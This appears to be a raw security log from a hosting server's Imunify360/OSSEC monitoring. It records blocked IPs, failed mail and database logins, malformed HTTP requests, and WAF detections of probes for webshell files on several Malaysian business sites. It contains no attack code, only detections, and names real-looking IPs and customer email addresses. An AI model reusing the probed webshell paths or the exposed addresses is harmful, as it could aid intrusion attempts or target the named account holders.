Jan 21 20:23:58 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 158.94.208.110 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.110
country_id: 2921044
description:
2026-01-21 20:24:00 dovecot_login authenticator failed for H=(wIthMLVUJf) [158.94.208.110]:53973: 535 Incorrect authentication data (set_id=steven@oxbold.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.81.130.32
country_id: 6252001
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/mssa.org.my/activity-details.php?id=222230 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.212
country_id: 1880251
domain: indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/images/druma.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 195.24.236.120
country_id: 2750405
description:
2026-01-21 20:24:59 490111 [Warning] Aborted connection 490111 to db: 'unconnected' user: 'unauthenticated' host: '195.24.236.120' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 20:25:04 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 195.24.236.120
country_id: 2750405
description:
2026-01-21 20:26:57 490231 [Warning] Aborted connection 490231 to db: 'unconnected' user: 'unauthenticated' host: '195.24.236.120' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 195.210.126.16
country_id: 6252001
description:
2026-01-21 20:30:11 dovecot_login authenticator failed for H=(localhost) [195.210.126.16]:28683: 535 Incorrect authentication data (set_id=info@garudabay.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 222.253.126.224
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/irrigation-draignage-flood-application_chs-steelworks.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.248.31.4
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/water-distribution-application_chs-steelworks.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 213.139.63.125
country_id: 248816
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/sewage-treatment-application_chs-steelworks.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.254.166.132
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Pipe-Connections/M2311-DISMANTLING-JOINT-TYPE-E.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.179.192.22
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Pipe-Connections/M2402-STRAIGHT-MECHANICAL-COUPLING.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.231.219.18
country_id: 285570
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Pipe-Connections/M2202-STRAIGHT-FLANGE-ADAPTOR.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.132.216.27
country_id: 1210997
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Pipe-Connections/M2101-STEPPED-MECHANICAL-COUPLING.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.24.167.92
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Pipe-Connections/M2302-DISMANTLING-JOINT-TYPE-B.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.65.135.129
country_id: 1210997
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Pipe-Connections/M2411-UNIVERSAL-MECHANICAL-COUPLING.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.10.23.11
country_id: 2029969
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Pipe-Connections/M2401-STRAIGHT-MECHANICAL-COUPLING.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.185.82.37
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Pipe-Connections/M2215-RESTRAINT-FLANGE-ADAPTOR-DN350-600.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.104.212.188
country_id: 2589581
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Pipe-Connections/M2102-STEPPED-MECHANICAL-COUPLING.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 109.107.226.187
country_id: 248816
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Pipe-Connections/M2215-RESTRAINT-FLANGE-ADAPTOR-DN50-300.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 169.224.24.92
country_id: 99237
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Pipe-Connections/M2211-UNIVERSAL-FLANGE-ADAPTOR.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.233.189.73
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Pipe-Connections/M2201-STRAIGHT-FLANGE-ADAPTOR.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 213.7.126.42
country_id: 146669
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Pipe-Connections/M2301-DISMANTLING-JOINT-TYPE-B.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 176.28.142.109
country_id: 248816
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Pipe-Connections/M2312-DISMANTLING-JOINT TYPE-E.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.175.85.114
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Pipe-Connections/M2415-RESTRAINT-MECHANICAL-COUPLING-DN50-300.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 23.81.229.39
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:20-35.23.81.229.39||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 23.93.119.208
country_id: 6252001
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/rice/412/618837 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.246.208.80
country_id: 798544
description:
Jan 21 20:36:09 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.246.208.80 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.178.211.223
country_id: 1562822
domain: cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/services.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-21 20:38:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:60957: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.158.198
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=553758 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.238
country_id: 2921044
description:
Jan 21 20:38:58 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.238 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 20:39:13 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/malaysia-infinity-design-projects/commercial/img/druma_photos/video.php||SC:/home/indfinitydesign/public_html/malaysia-infinity-design-projects||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-21 20:41:37 H=([45.144.212.242]) [45.144.212.242]:61627 F=<no_reply@admin.com> rejected RCPT <jacklim@ktlog.com.my>: Sender verify failed


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.187.186.11
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=180178 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.96.206
country_id: 3469034
description:
Jan 21 20:42:42 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.96.206 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.172.11.167
country_id: 1269750
description:
Jan 21 20:42:18 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.172.11.167 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.212.240.205
country_id: 1562822
description:
Jan 21 20:43:17 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.212.240.205 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.119
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/es/img/photos/private-residence.php||SC:/home/indfinitydesign/public_html/es||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-21 20:44:12 H=([45.144.212.242]) [45.144.212.242]:53116 F=<no_reply@admin.com> rejected RCPT <marina@astlog.com.my>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.250
country_id: 2921044
description:
Jan 21 20:44:08 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.250 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.206.97.131
country_id: 6290252
description:
Jan 21 20:45:18 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.206.97.131 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.0.89.130
country_id: 226074
description:
Jan 21 20:45:25 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.0.89.130 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.179.188.156
country_id: 3469034
description:
Jan 21 20:46:15 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.179.188.156 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-21 20:49:54 H=([45.144.212.242]) [45.144.212.242]:57966 F=<no_reply@admin.com> rejected RCPT <marylinkoh@ktlog.com.my>: Sender verify failed


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 217.113.194.7
country_id: 3017382
domain: pftfood.com
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/home/000~ROOT~000/etc/dnf/protected.d/yum.conf||User:root||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 20:49:35 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.219.98.214
country_id: 798544
description:
Jan 21 20:51:15 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.219.98.214 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 223.184.247.39
country_id: 1269750
domain: www.snymetalstamping.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.snymetalstamping.com/firstchina.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.107.172
country_id: 3469034
description:
Jan 21 20:55:33 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.107.172 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.23.172.222
country_id: 3469034
description:
Jan 21 20:55:56 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.23.172.222 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.23.172.222
country_id: 3469034
description:
Jan 21 20:56:03 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.23.172.222 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.87.194.80
country_id: 1168579
description:
2026-01-21 20:56:43 dovecot_login authenticator failed for H=([103.253.19.87]) [103.87.194.80]:43966: 535 Incorrect authentication data (set_id=salesi@chs.com.my)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-21 20:57:21 H=([45.144.212.242]) [45.144.212.242]:61915 F=<no_reply@admin.com> rejected RCPT <meifoong@ms-chemicals.net>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.238.106.159
country_id: 3865483
description:
Jan 21 20:57:29 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.238.106.159 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 119.73.105.185
country_id: 1168579
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/symfony/var-dumper/Dumper/HtmlDumper.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.136.174
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/images/Personal_Dosimetry_Service.php||SC:/home/sutsbcom/public_html/images||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 161.0.9.6
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:20-59.161.0.9.6||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.217.248.17
country_id: 3508796
description:
2026-01-21 20:59:05 dovecot_login authenticator failed for H=(localhost) [31.217.248.17]:28334: 535 Incorrect authentication data (set_id=info@visoft.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.53.165.214
country_id: 3469034
description:
Jan 21 21:00:13 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.53.165.214 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.190.149.192
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=73621515566303 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.219.98.98
country_id: 798544
description:
Jan 21 21:00:34 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.219.98.98 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.200.65.214
country_id: 3469034
description:
Jan 21 21:01:44 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.200.65.214 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 167.249.140.81
country_id: 3469034
description:
Jan 21 21:01:19 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 167.249.140.81 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.200.65.214
country_id: 3469034
description:
Jan 21 21:01:59 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.200.65.214 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.231.35.28
country_id: 798544
description:
Jan 21 21:02:19 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.231.35.28 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.136.174
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/ways-to-develop-a-project-on-the-net-classroom/images/cdn-cgi/l/cdn-cgi/l/index.php||SC:/home/sutsbcom/public_html/ways-to-develop-a-project-on-the-net-classroom||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-21 21:03:13 H=([45.144.212.242]) [45.144.212.242]:60932 F=<no_reply@admin.com> rejected RCPT <michelle.soo@ms-chemicals.net>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 21:03:50 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.130.170.194
country_id: 3469034
description:
Jan 21 21:03:01 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.130.170.194 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 217.113.194.242
country_id: 3017382
domain: pftfood.com
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/home/000~ROOT~000/lib/modprobe.d/dist-alsa.conf||User:root||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.63
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/fphortier/images/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/Personal_Dosimetry_Service.php||SC:/home/sutsbcom/public_html/fphortier||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.240.96.80
country_id: 3469034
description:
Jan 21 21:05:06 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.240.96.80 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.212.240.205
country_id: 1562822
description:
Jan 21 21:06:46 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.212.240.205 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.8.149.153
country_id: 3175395
description:
Jan 21 21:14:12 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.8.149.153 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 21:14:19 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.171.34.55
country_id: 1562822
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-category.php?id=1&sub=33 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.40
country_id: 2921044
description:
Jan 21 21:20:02 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.40 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-21 21:20:54 H=([45.144.212.242]) [45.144.212.242]:52419 F=<no_reply@admin.com> rejected RCPT <munch@nexuscollection.com>: Sender verify failed


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 91.84.100.21
country_id: 2750405
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:21-21.91.84.100.21||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-21 21:21:50 H=([45.144.212.242]) [45.144.212.242]:55573 F=<no_reply@admin.com> rejected RCPT <mustapa@astlog.com.my>: Sender verify failed


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 91.84.100.21
country_id: 2750405
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:21-23.91.84.100.21||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 217.113.194.2
country_id: 3017382
domain: pftfood.com
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/home/000~ROOT~000/usr/lib/modprobe.d/systemd.conf||User:root||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.140.123.251
country_id: 3469034
description:
Jan 21 21:26:13 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.140.123.251 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.127.42.116
country_id: 2395170
description:
Jan 21 21:26:37 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.127.42.116 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 21:28:41 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.120.205.11
country_id: 6251999
description:
2026-01-21 21:29:13 dovecot_plain authenticator failed for H=([10.9.211.226]) [37.120.205.11]:36792: 535 Incorrect authentication data (set_id=samsudeen.ganny@ajplantations.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.212.240.205
country_id: 1562822
description:
Jan 21 21:30:16 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.212.240.205 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.71.19
country_id: 3469034
description:
Jan 21 21:31:05 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.71.19 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.137.155.52
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=98861514511778 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.28.190.187
country_id: 2510769
description:
Jan 21 21:35:01 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.28.190.187 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.255.215.57
country_id: 732800
description:
Jan 21 21:36:58 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.255.215.57 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.255.215.57
country_id: 732800
description:
Jan 21 21:37:05 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.255.215.57 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 161.142.142.49
country_id: 1733045
description:
